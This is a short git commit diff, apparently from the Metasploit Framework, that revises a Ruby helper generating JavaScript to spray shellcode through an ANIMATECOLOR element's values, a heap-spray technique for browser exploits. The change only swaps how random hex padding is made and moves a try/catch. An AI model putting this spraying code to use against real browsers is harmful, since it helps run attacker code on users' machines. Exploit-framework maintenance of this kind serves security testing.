Uses rand_text_hex for RGB values, and correcting exception handling

unstable
sinn3r 2013-05-01 13:41:36 -05:00
parent 71afd762a9
commit 3d2cb9ec3f
1 changed files with 5 additions and 8 deletions

View File

@ -875,8 +875,6 @@ protected
# </script> # </script>
# #
def js_mstime_malloc def js_mstime_malloc
badchars = (0x47..0x5a).to_a.pack("C*") + (0x67..0x7a).to_a.pack("C*")
rgb = Rex::Text.rand_text_alphanumeric(6, badchars).downcase
%Q| %Q|
function mstime_malloc(oArg) { function mstime_malloc(oArg) {
shellcode = oArg.shellcode; shellcode = oArg.shellcode;
@ -896,15 +894,14 @@ protected
else { buf += ";" + shellcode; } else { buf += ";" + shellcode; }
} }
else { else {
buf += ";##{rgb}"; buf += ";##{Rex::Text.rand_text_hex(6)}";
} }
} }
try { e = document.getElementById(objId);
e = document.getElementById(objId); if (e == null) { throw "Invalid ANIMATECOLOR element"; }
if (e == null) { throw "Invalid ANIMATECOLOR element"; } try { e.values = buf; }
e.values = buf; catch (e) {}
} catch (e) {}
} }
| |
end end